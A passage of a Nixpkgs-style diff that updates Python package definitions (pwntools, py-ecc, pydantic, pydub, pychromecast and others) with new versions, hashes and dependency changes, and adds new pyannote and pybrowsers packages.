}; + "3.9-aarch64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp39"; + hash = "sha256-dwTGZKosgBr0wtOljp2P+u7xLOig9xcS6Rh/mpbahW8="; + }; + "3.9-x86_64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp39"; + hash = "sha256-dwTGZKosgBr0wtOljp2P+u7xLOig9xcS6Rh/mpbahW8="; + }; + "3.10-x86_64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_x86_64.manylinux2014_x86_64"; + dist = "cp310"; + hash = "sha256-swp1kuQsdgNOmo1k1C3VurNhQl+GneVi6cytaY4ZzYg="; + }; + "3.10-aarch64-linux" = getSrcFromPypi { + platform = "musllinux_1_1_aarch64"; + dist = "cp310"; + hash = "sha256-1ZYwkKeKVkS6JfQdo6bUnqPwDJcrCVuv82WRbcJGQmo="; + }; + "3.10-aarch64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp310"; + hash = "sha256-6/mdtSRP9pR5KDslYhsHBJKsxLtkPRYthrkDh8tv2yo="; + }; + "3.10-x86_64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp310"; + hash = "sha256-6/mdtSRP9pR5KDslYhsHBJKsxLtkPRYthrkDh8tv2yo="; + }; + "3.11-x86_64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_x86_64.manylinux2014_x86_64"; + dist = "cp311"; + hash = "sha256-M1cd6ZzYmDSfF5eLpi4rg56gJ1+3Bn8xv19uv+rgmH0="; + }; + "3.11-aarch64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_aarch64.manylinux2014_aarch64"; + dist = "cp311"; + hash = "sha256-+HQ8MgqpZ5jSDK+pjql6aMQpX8SHLCOs1eAS/TbLBro="; + }; + "3.11-aarch64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp311"; + hash = "sha256-EZUvsCLuct6/U7Fp9EgvncXIkL4BSa6Yd5hks6IfG9M="; + }; + "3.11-x86_64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp311"; + hash = "sha256-EZUvsCLuct6/U7Fp9EgvncXIkL4BSa6Yd5hks6IfG9M="; + }; + "3.12-x86_64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_x86_64.manylinux2014_x86_64"; + dist = "cp312"; + hash = "sha256-xgbATzVzQQQvpsdUd959IgT3rlCqKcL3SyTlTIX0f5Y="; + }; + "3.12-aarch64-linux" = getSrcFromPypi { + platform = "manylinux_2_17_aarch64.manylinux2014_aarch64"; + dist = "cp312"; + hash = "sha256-8gK4Th9oPWRnLdGXERRgCuLlw3NVhyhv+b+0MThfCOg="; + }; + "3.12-aarch64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp312"; + hash = "sha256-9/jw/wr1oUD9pOadVAaMRL081iVMUXwVgnUMcG1UNvE="; + }; + "3.12-x86_64-darwin" = getSrcFromPypi { + platform = "macosx_10_15_universal2"; + dist = "cp312"; + hash = "sha256-9/jw/wr1oUD9pOadVAaMRL081iVMUXwVgnUMcG1UNvE="; + }; + }; + +in buildPythonPackage { + pname = "pulsar-client"; + inherit version; + + format = "wheel"; + + src = Srcs."${pythonVersion}-${stdenv.hostPlatform.system}"; + + meta = with lib; { + description = "Client for pulsar"; + homepage = "https://pypi.org/project/pulsar-client/"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/pure-pcapy3/default.nix b/pkgs/development/python-modules/pure-pcapy3/default.nix index ad405c5938533..8e07377723e00 100644 --- a/pkgs/development/python-modules/pure-pcapy3/default.nix +++ b/pkgs/development/python-modules/pure-pcapy3/default.nix @@ -16,6 +16,12 @@ buildPythonPackage rec { hash = "sha256-uZ5F8W1K1BDrXrvH1dOeNT1+2n6G8K1S5NxcRaez6pI="; }; + # fixes: AttributeError: 'FixupTest' object has no attribute 'assertEquals'. Did you mean: 'assertEqual'? + postPatch = '' + substituteInPlace test/__init__.py \ + --replace-fail "assertEquals" "assertEqual" + ''; + pythonImportsCheck = [ "pure_pcapy" ]; diff --git a/pkgs/development/python-modules/puremagic/default.nix b/pkgs/development/python-modules/puremagic/default.nix index 453cbd96cde6b..72f0dfc4dde75 100644 --- a/pkgs/development/python-modules/puremagic/default.nix +++ b/pkgs/development/python-modules/puremagic/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "puremagic"; - version = "1.20"; + version = "1.21"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -16,7 +16,7 @@ buildPythonPackage rec { owner = "cdgriffith"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-Iyf/Vf1uqdtHlaP9Petpp88aIGCGmHu//cH6bindL6c="; + hash = "sha256-ObJp3+gk1tf1+9wBpvzs0wwP7ptDlfGwX9b4wlCb1RI="; }; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/pwntools/default.nix b/pkgs/development/python-modules/pwntools/default.nix index 4fcb8588147ff..db91bf50182e5 100644 --- a/pkgs/development/python-modules/pwntools/default.nix +++ b/pkgs/development/python-modules/pwntools/default.nix @@ -29,12 +29,12 @@ let in buildPythonPackage rec { pname = "pwntools"; - version = "4.11.1"; + version = "4.12.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-7hnjX721t0YzKcJ75R+tEfUI6E9bxMYXUEtI56GDZP0="; + hash = "sha256-MgKFvZJmFS/bo7gd46MeYaJQdmRVB6ONhfNOGxWZjrE="; }; postPatch = '' diff --git a/pkgs/development/python-modules/py-ecc/default.nix b/pkgs/development/python-modules/py-ecc/default.nix index 7845bfe175014..d7769ea4873d9 100644 --- a/pkgs/development/python-modules/py-ecc/default.nix +++ b/pkgs/development/python-modules/py-ecc/default.nix @@ -4,38 +4,55 @@ , cached-property , eth-typing , eth-utils -, mypy-extensions , pytestCheckHook +, pythonAtLeast , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "py-ecc"; - version = "6.0.0"; - format = "setuptools"; - disabled = pythonOlder "3.6"; + version = "7.0.0"; + pyproject = true; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "ethereum"; repo = "py_ecc"; rev = "v${version}"; - hash = "sha256-638otYA3e/Ld4mcM69yrqHQnGoK/Sfl/UA9FWnjgO/U="; + hash = "sha256-DKe+bI1GEzXg4Y4n5OA1/hWYz9L3X1AvaOFPEnCaAfs="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ cached-property eth-typing eth-utils - mypy-extensions ]; nativeCheckInputs = [ pytestCheckHook ]; + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # https://github.com/ethereum/py_ecc/issues/133 + "test_FQ2_object" + "test_pairing_bilinearity_on_G1" + "test_pairing_bilinearity_on_G2" + "test_pairing_composit_check" + "test_pairing_is_non_degenerate" + "test_pairing_negative_G1" + "test_pairing_negative_G2" + "test_pairing_output_order" + ]; + pythonImportsCheck = [ "py_ecc" ]; meta = with lib; { + changelog = "https://github.com/ethereum/py_ecc/blob/${src.rev}/CHANGELOG.rst"; description = "ECC pairing and bn_128 and bls12_381 curve operations"; homepage = "https://github.com/ethereum/py_ecc"; license = licenses.mit; diff --git a/pkgs/development/python-modules/py-partiql-parser/default.nix b/pkgs/development/python-modules/py-partiql-parser/default.nix index fd2fb808bb437..7cb4ab94761c8 100644 --- a/pkgs/development/python-modules/py-partiql-parser/default.nix +++ b/pkgs/development/python-modules/py-partiql-parser/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "py-partiql-parser"; - version = "0.4.2"; + version = "0.5.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "getmoto"; repo = "py-partiql-parser"; rev = "refs/tags/${version}"; - hash = "sha256-EV5Md7dAkHcBbfF4DhmUHwKxjlXI4Jbb1VryeOwRTWo="; + hash = "sha256-b18PY5LCU2NOSmzOHh0NBFQFCJ2N9oAhusn6QTdlb7o="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/py-serializable/default.nix b/pkgs/development/python-modules/py-serializable/default.nix index 12bdef693e201..2834aeaf53d98 100644 --- a/pkgs/development/python-modules/py-serializable/default.nix +++ b/pkgs/development/python-modules/py-serializable/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "py-serializable"; - version = "1.0.0"; + version = "1.0.2"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "madpah"; repo = "serializable"; rev = "refs/tags/v${version}"; - hash = "sha256-7WYe3X4wVUC7HyYoCVQYWm61C+J3r91Ci8IHNeWBTVE="; + hash = "sha256-RhipoPTewPaYwspTnywLr5FvFVUaFixfRQk6aUMvB4w="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/py3status/default.nix b/pkgs/development/python-modules/py3status/default.nix index 00552787cc50f..004487bebbcd1 100644 --- a/pkgs/development/python-modules/py3status/default.nix +++ b/pkgs/development/python-modules/py3status/default.nix @@ -24,12 +24,12 @@ buildPythonPackage rec { pname = "py3status"; - version = "3.55"; + version = "3.56"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-HGOHJQWEvTTL+GXVb8ZS8DlL9dHWuS0PioP1bZ32PhI="; + hash = "sha256-dHc5t8QO4wtwFlLkiaSu5Ern/MsxNHZMd5aeqWdKwNo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pyTelegramBotAPI/default.nix b/pkgs/development/python-modules/pyTelegramBotAPI/default.nix index 7e9e2c47d3b5a..496ebc4e8fa7f 100644 --- a/pkgs/development/python-modules/pyTelegramBotAPI/default.nix +++ b/pkgs/development/python-modules/pyTelegramBotAPI/default.nix @@ -5,6 +5,7 @@ , coloredlogs , fastapi , fetchFromGitHub +, hatchling , pillow , psutil , pytestCheckHook @@ -18,8 +19,8 @@ buildPythonPackage rec { pname = "pytelegrambotapi"; - version = "4.15.2"; - format = "setuptools"; + version = "4.16.0"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -27,9 +28,13 @@ buildPythonPackage rec { owner = "eternnoir"; repo = "pyTelegramBotAPI"; rev = "refs/tags/${version}"; - hash = "sha256-Xw+edPs2CKJdpgDp+JB3L2W4oAIAk/IpQAD7c2kF3gk="; + hash = "sha256-w039aPK+PdOiiOj5ZZAUfyHQ6QDrKySVIijcOw+GIOk="; }; + nativeBuildInputs = [ + hatchling + ]; + passthru.optional-dependencies = { json = [ ujson diff --git a/pkgs/development/python-modules/pyannote-audio/default.nix b/pkgs/development/python-modules/pyannote-audio/default.nix new file mode 100644 index 0000000000000..1a9403493eac5 --- /dev/null +++ b/pkgs/development/python-modules/pyannote-audio/default.nix @@ -0,0 +1,87 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, asteroid-filterbanks +, einops +, huggingface-hub +, pytorch-lightning +, omegaconf +, pyannote-core +, pyannote-database +, pyannote-metrics +, pyannote-pipeline +, pytorch-metric-learning +, rich +, semver +, soundfile +, speechbrain +, tensorboardx +, torch +, torch-audiomentations +, torchaudio +, torchmetrics +, numpy +, pyscaffold +}: + +buildPythonPackage rec { + pname = "pyannote-audio"; + version = "3.1.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "pyannote"; + repo = "pyannote-audio"; + rev = version; + hash = "sha256-BxmEJE6v+QkEaAJ2oB2LwDQIoRajv6F9SRc8lP9iRLM="; + fetchSubmodules = true; + }; + + nativeBuildInputs = [ + pyscaffold + setuptools + wheel + ]; + + postPatch = '' + substituteInPlace setup.cfg \ + --replace "pyscaffold>=3.2a0,<3.3a0" "pyscaffold" + substituteInPlace requirements.txt \ + --replace "lightning" "pytorch-lightning" + ''; + + propagatedBuildInputs = [ + asteroid-filterbanks + einops + huggingface-hub + omegaconf + pyannote-core + pyannote-database + pyannote-metrics + pyannote-pipeline + pytorch-metric-learning + rich + semver + soundfile + speechbrain + tensorboardx + torch + torch-audiomentations + torchaudio + torchmetrics + numpy + pytorch-lightning + ]; + + pythonImportsCheck = [ "pyannote.audio" ]; + + meta = with lib; { + description = "Neural building blocks for speaker diarization: speech activity detection, speaker change detection, overlapped speech detection, speaker embedding"; + homepage = "https://github.com/pyannote/pyannote-audio"; + changelog = "https://github.com/pyannote/pyannote-audio/blob/${src.rev}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/pyannote-core/default.nix b/pkgs/development/python-modules/pyannote-core/default.nix new file mode 100644 index 0000000000000..453bb0c4d60de --- /dev/null +++ b/pkgs/development/python-modules/pyannote-core/default.nix @@ -0,0 +1,44 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, sortedcontainers +, numpy +, scipy +, typing-extensions +}: + +buildPythonPackage rec { + pname = "pyannote-core"; + version = "5.0.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "pyannote"; + repo = "pyannote-core"; + rev = version; + hash = "sha256-XQVEMy60LkfFr2TKXTeg6cGHRx5BUZ5qDgzIdKy/19Y="; + }; + + propagatedBuildInputs = [ + sortedcontainers + numpy + scipy + typing-extensions + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "pyannote.core" ]; + + meta = with lib; { + description = "Advanced data structures for handling temporal segments with attached labels"; + homepage = "https://github.com/pyannote/pyannote-core"; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/pyannote-database/default.nix b/pkgs/development/python-modules/pyannote-database/default.nix new file mode 100644 index 0000000000000..0b90e9ce224bb --- /dev/null +++ b/pkgs/development/python-modules/pyannote-database/default.nix @@ -0,0 +1,44 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, pyannote-core +, pyyaml +, pandas +, typer +}: + +buildPythonPackage rec { + pname = "pyannote-database"; + version = "5.0.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "pyannote"; + repo = "pyannote-database"; + rev = version; + hash = "sha256-A7Xr24O8OvVAlURrR+SDCh8Uv9Yz3AUJSFDyDShVVjA="; + }; + + propagatedBuildInputs = [ + pyannote-core + pyyaml + pandas + typer + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "pyannote.database" ]; + + meta = with lib; { + description = "Reproducible experimental protocols for multimedia (audio, video, text) database"; + homepage = "https://github.com/pyannote/pyannote-database"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyannote-metrics/default.nix b/pkgs/development/python-modules/pyannote-metrics/default.nix new file mode 100644 index 0000000000000..e5c26d3d410af --- /dev/null +++ b/pkgs/development/python-modules/pyannote-metrics/default.nix @@ -0,0 +1,56 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, pyannote-core +, pyannote-database +, pandas +, scipy +, scikit-learn +, docopt +, tabulate +, matplotlib +, sympy +, numpy +}: + +buildPythonPackage rec { + pname = "pyannote-metrics"; + version = "3.2.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "pyannote"; + repo = "pyannote-metrics"; + rev = version; + hash = "sha256-V4qyaCaFsoikfFILm2sccf6m7lqJSDTdLxS1sr/LXAY="; + }; + + propagatedBuildInputs = [ + pyannote-core + pyannote-database + pandas + scipy + scikit-learn + docopt + tabulate + matplotlib + sympy + numpy + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "pyannote.metrics" ]; + + meta = with lib; { + description = "A toolkit for reproducible evaluation, diagnostic, and error analysis of speaker diarization systems"; + homepage = "https://github.com/pyannote/pyannote-metrics"; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/pyannote-pipeline/default.nix b/pkgs/development/python-modules/pyannote-pipeline/default.nix new file mode 100644 index 0000000000000..52e96b05ed141 --- /dev/null +++ b/pkgs/development/python-modules/pyannote-pipeline/default.nix @@ -0,0 +1,52 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, pyannote-core +, pyannote-database +, pyyaml +, optuna +, tqdm +, docopt +, filelock +, scikit-learn +}: + +buildPythonPackage rec { + pname = "pyannote-pipeline"; + version = "3.0.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "pyannote"; + repo = "pyannote-pipeline"; + rev = version; + hash = "sha256-0wSgy6kbKi9Wa5dimOz34IV5/8fSwaHDMUpaBW7tm2Y="; + }; + + propagatedBuildInputs = [ + pyannote-core + pyannote-database + pyyaml + optuna + tqdm + docopt + filelock + scikit-learn + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "pyannote.pipeline" ]; + + meta = with lib; { + description = "Tunable pipelines"; + homepage = "https://github.com/pyannote/pyannote-pipeline"; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/pyasyncore/default.nix b/pkgs/development/python-modules/pyasyncore/default.nix index d5ebd86a7d952..1d02c8ae66405 100644 --- a/pkgs/development/python-modules/pyasyncore/default.nix +++ b/pkgs/development/python-modules/pyasyncore/default.nix @@ -6,14 +6,14 @@ buildPythonPackage rec { pname = "pyasyncore"; - version = "1.0.3"; + version = "1.0.4"; pyproject = true; src = fetchFromGitHub { owner = "simonrob"; repo = "pyasyncore"; rev = "refs/tags/v${version}"; - hash = "sha256-e1iHC9mbQYlfpIdLk033wvoA5z5WcHjOZm6oFTfpRTA="; + hash = "sha256-ptqOsbkY7XYZT5sh6vctfxZ7BZPX2eLjo6XwZfcmtgk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pybrowsers/default.nix b/pkgs/development/python-modules/pybrowsers/default.nix new file mode 100644 index 0000000000000..859b1faa4b4e2 --- /dev/null +++ b/pkgs/development/python-modules/pybrowsers/default.nix @@ -0,0 +1,49 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, pythonOlder +, pyxdg +}: + +buildPythonPackage rec { + pname = "pybrowsers"; + version = "0.6.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "roniemartinez"; + repo = "browsers"; + rev = "refs/tags/${version}"; + hash = "sha256-hjaQUfH7pNwC6+6liOUQQZU6NdhxLmtabvDD7JnQ3GU="; + }; + + postPatch = '' + sed -i "/--cov/d" pyproject.toml + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + pyxdg + ]; + + # Tests want to interact with actual browsers + doCheck = false; + + pythonImportsCheck = [ + "browsers" + ]; + + meta = with lib; { + description = "Python library for detecting and launching browsers"; + homepage = "https://github.com/roniemartinez/browsers"; + changelog = "https://github.com/roniemartinez/browsers/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/pychromecast/default.nix b/pkgs/development/python-modules/pychromecast/default.nix index 2abbe4a4e7701..f5e6029e85603 100644 --- a/pkgs/development/python-modules/pychromecast/default.nix +++ b/pkgs/development/python-modules/pychromecast/default.nix @@ -4,32 +4,39 @@ , fetchPypi , pythonOlder , protobuf -, requests +, setuptools +, wheel , zeroconf }: buildPythonPackage rec { pname = "pychromecast"; - version = "13.1.0"; - format = "setuptools"; + version = "14.0.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.11"; src = fetchPypi { pname = "PyChromecast"; inherit version; - hash = "sha256-COYai1S9IRnTyasewBNtPYVjqpfgo7V4QViLm+YMJnY="; + hash = "sha256-3E+LBS52CpeNqbJWi3kCDLea9gigJkZfB1RM/+Q5c88="; }; postPatch = '' - substituteInPlace requirements.txt \ - --replace "protobuf>=3.19.1,<4" "protobuf>=3.19.1" + substituteInPlace pyproject.toml \ + --replace-fail "setuptools~=65.6" "setuptools" \ + --replace-fail "wheel~=0.37.1" "wheel" \ + --replace-fail "protobuf>=4.25.1" "protobuf" ''; + nativeBuildInputs = [ + setuptools + wheel + ]; + propagatedBuildInputs = [ casttube protobuf - requests zeroconf ]; diff --git a/pkgs/development/python-modules/pyctr/default.nix b/pkgs/development/python-modules/pyctr/default.nix index ddb9937df3567..cf225369b3958 100644 --- a/pkgs/development/python-modules/pyctr/default.nix +++ b/pkgs/development/python-modules/pyctr/default.nix @@ -7,14 +7,14 @@ buildPythonPackage rec { pname = "pyctr"; - version = "0.7.3"; + version = "0.7.5"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-lpW2pcT5oG7tBUXRj7cTD9hCx51hVhVODq9RxP9GKIg="; + hash = "sha256-fiDJWcypFabnUoS313f56ypDuDrLASHrkk0Em8bymmw="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/pydantic/1.nix b/pkgs/development/python-modules/pydantic/1.nix index e1fc840f0ee14..42ce2745d7270 100644 --- a/pkgs/development/python-modules/pydantic/1.nix +++ b/pkgs/development/python-modules/pydantic/1.nix @@ -6,6 +6,7 @@ , pytest-mock , pytestCheckHook , python-dotenv +, pythonAtLeast , pythonOlder , setuptools , typing-extensions @@ -14,7 +15,7 @@ buildPythonPackage rec { pname = "pydantic"; - version = "1.10.13"; + version = "1.10.14"; pyproject = true; disabled = pythonOlder "3.7"; @@ -23,7 +24,7 @@ buildPythonPackage rec { owner = "pydantic"; repo = "pydantic"; rev = "refs/tags/v${version}"; - hash = "sha256-ruDVcCLPVuwIkHOjYVuKOoP3hHHr7ItIY55Y6hUgR74="; + hash = "sha256-tcaHSPZggVwyzCgDmwOgcGqUmUrJOmkdSNudJTFQ3bc="; }; nativeBuildInputs = [ @@ -62,6 +63,15 @@ buildPythonPackage rec { export HOME=$(mktemp -d) ''; + disabledTests = lib.optionals (pythonAtLeast "3.12") [ + # depends on distuils + "test_cython_function_untouched" + # AssertionError on exact types and wording + "test_model_subclassing_abstract_base_classes_without_implementation_raises_exception" + "test_partial_specification_name" + "test_secretfield" + ]; + enableParallelBuilding = true; pythonImportsCheck = [ "pydantic" ]; diff --git a/pkgs/development/python-modules/pydeconz/default.nix b/pkgs/development/python-modules/pydeconz/default.nix index 9a322790f8656..f64913c32d336 100644 --- a/pkgs/development/python-modules/pydeconz/default.nix +++ b/pkgs/development/python-modules/pydeconz/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "pydeconz"; - version = "114"; + version = "115"; pyproject = true; disabled = pythonOlder "3.11"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "Kane610"; repo = "deconz"; rev = "refs/tags/v${version}"; - hash = "sha256-XN6di3pxB7lhZ5TQnyHr7nKA0STBi0CVzGnhvRDsbFY="; + hash = "sha256-NjzONVSJ4GEaIeC5ytnTi8JpZY1yIq3LN8vbMy3n0vs="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pydeps/default.nix b/pkgs/development/python-modules/pydeps/default.nix index 560a623485419..9da4ff12b7713 100644 --- a/pkgs/development/python-modules/pydeps/default.nix +++ b/pkgs/development/python-modules/pydeps/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "pydeps"; - version = "1.12.18"; + version = "1.12.19"; pyproject = true; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "thebjorn"; repo = "pydeps"; rev = "refs/tags/v${version}"; - hash = "sha256-89RrAf09n42mRiWOUdHFNP4JoCP9bXMofkISyVqd+4I="; + hash = "sha256-3z/7pkeP6R8GsWvSaCChcf0DZPrC3KdwLeGdNm4m6Jc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pydevccu/default.nix b/pkgs/development/python-modules/pydevccu/default.nix index 81364bd203aea..9dd93cd5fa625 100644 --- a/pkgs/development/python-modules/pydevccu/default.nix +++ b/pkgs/development/python-modules/pydevccu/default.nix @@ -6,7 +6,7 @@ buildPythonPackage rec { pname = "pydevccu"; - version = "0.1.7"; + version = "0.1.8"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -15,7 +15,7 @@ buildPythonPackage rec { owner = "danielperna84"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-wzltcerAGh/QfHGg+M7Hlw4SfDEg23K2plSyrmz/m7E="; + hash = "sha256-WguSTtWxkiDs5nK5eiaarfD0CBxzIxQR9fxjuW3wMGc="; }; # Module has no tests diff --git a/pkgs/development/python-modules/pydiscovergy/default.nix b/pkgs/development/python-modules/pydiscovergy/default.nix index 3c87b6b6f3a1a..f671ec1e5e60f 100644 --- a/pkgs/development/python-modules/pydiscovergy/default.nix +++ b/pkgs/development/python-modules/pydiscovergy/default.nix @@ -1,21 +1,22 @@ { lib , authlib , buildPythonPackage -, dataclasses-json , fetchFromGitHub , httpx -, marshmallow +, mashumaro +, orjson , pytest-httpx , poetry-core , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook , pytz , respx }: buildPythonPackage rec { pname = "pydiscovergy"; - version = "2.0.5"; + version = "3.0.0"; format = "pyproject"; disabled = pythonOlder "3.10"; @@ -23,19 +24,24 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "jpbede"; repo = "pydiscovergy"; - rev = "refs/tags/${version}"; - hash = "sha256-u2G+o/vhPri7CPSnekC8rUo/AvuvePpG51MR+FdH2XA="; + rev = "refs/tags/v${version}"; + hash = "sha256-ArcH/4ZyOtIGmoXArU+oEd357trJnS9umlN9B+U0dBI="; }; + postPatch = '' + sed -i '/addopts =/d' pyproject.toml + ''; + nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ authlib - dataclasses-json httpx - marshmallow + mashumaro + orjson pytz ]; @@ -52,7 +58,7 @@ buildPythonPackage rec { meta = with lib; { description = "Async Python 3 library for interacting with the Discovergy API"; homepage = "https://github.com/jpbede/pydiscovergy"; - changelog = "https://github.com/jpbede/pydiscovergy/releases/tag/${version}"; + changelog = "https://github.com/jpbede/pydiscovergy/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/pydrawise/default.nix b/pkgs/development/python-modules/pydrawise/default.nix index adddc92dbc1ab..2d3d12ca87494 100644 --- a/pkgs/development/python-modules/pydrawise/default.nix +++ b/pkgs/development/python-modules/pydrawise/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "pydrawise"; - version = "2024.1.1"; + version = "2024.3.0"; format = "pyproject"; disabled = pythonOlder "3.10"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "dknowles2"; repo = "pydrawise"; rev = "refs/tags/${version}"; - hash = "sha256-fMwWGE6WfgENti4H+WSfd8ZSHqxHyBVATUhng/o8qeY="; + hash = "sha256-sL0/LZ7ggUg2OGkIauNLHR7i3l3k4NGvyY2ea1O1m3E="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pydub/default.nix b/pkgs/development/python-modules/pydub/default.nix index e1631f74f94e7..7ec3da3531cf2 100644 --- a/pkgs/development/python-modules/pydub/default.nix +++ b/pkgs/development/python-modules/pydub/default.nix @@ -1,43 +1,59 @@ { lib -, stdenv , buildPythonPackage , fetchFromGitHub - -# tests +, fetchpatch , ffmpeg-full -, python +, pytestCheckHook +, pythonOlder +, setuptools }: buildPythonPackage rec { pname = "pydub"; version = "0.25.1"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.7"; - # pypi version doesn't include required data files for tests src = fetchFromGitHub { owner = "jiaaro"; - repo = pname; - rev = "v${version}"; - sha256 = "0xskllq66wqndjfmvp58k26cv3w480sqsil6ifwp4gghir7hqc8m"; + repo = "pydub"; + rev = "refs/tags/v${version}"; + hash = "sha256-FTEMT47wPXK5i4ZGjTVAhI/NjJio3F2dbBZzYzClU3c="; }; + patches = [ + # Fix test assertions, https://github.com/jiaaro/pydub/pull/769 + (fetchpatch { + name = "fix-assertions.patch"; + url = "https://github.com/jiaaro/pydub/commit/66c1bf7813ae8621a71484fdcdf609734c0d8efd.patch"; + hash = "sha256-3OIzvTgGK3r4/s5y7izHvouB4uJEmjO6cgKvegtTf7A="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + ffmpeg-full + pytestCheckHook + ]; + pythonImportsCheck = [ "pydub" "pydub.audio_segment" "pydub.playback" ]; - nativeCheckInputs = [ - ffmpeg-full + pytestFlagsArray = [ + "test/test.py" ]; - checkPhase = '' - ${python.interpreter} test/test.py - ''; - meta = with lib; { description = "Manipulate audio with a simple and easy high level interface"; homepage = "http://pydub.com"; + changelog = "https://github.com/jiaaro/pydub/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ ]; }; diff --git a/pkgs/development/python-modules/pydyf/default.nix b/pkgs/development/python-modules/pydyf/default.nix index 0cf3c5677cdcb..1e9d2584a20f8 100644 --- a/pkgs/development/python-modules/pydyf/default.nix +++ b/pkgs/development/python-modules/pydyf/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "pydyf"; - version = "0.8.0"; + version = "0.9.0"; format = "pyproject"; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-sise8BYUG1SUGtZu1OA2p73/OcCzYJk7KDh1w/hU3Zo="; + hash = "sha256-1bJE6PwkEZznvV1R6i1nc8D/iKqBWX21VrxEDGuIBhA="; }; postPatch = '' diff --git a/pkgs/development/python-modules/pyenphase/default.nix b/pkgs/development/python-modules/pyenphase/default.nix index 4826806c19f12..05514f610ad13 100644 --- a/pkgs/development/python-modules/pyenphase/default.nix +++ b/pkgs/development/python-modules/pyenphase/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = 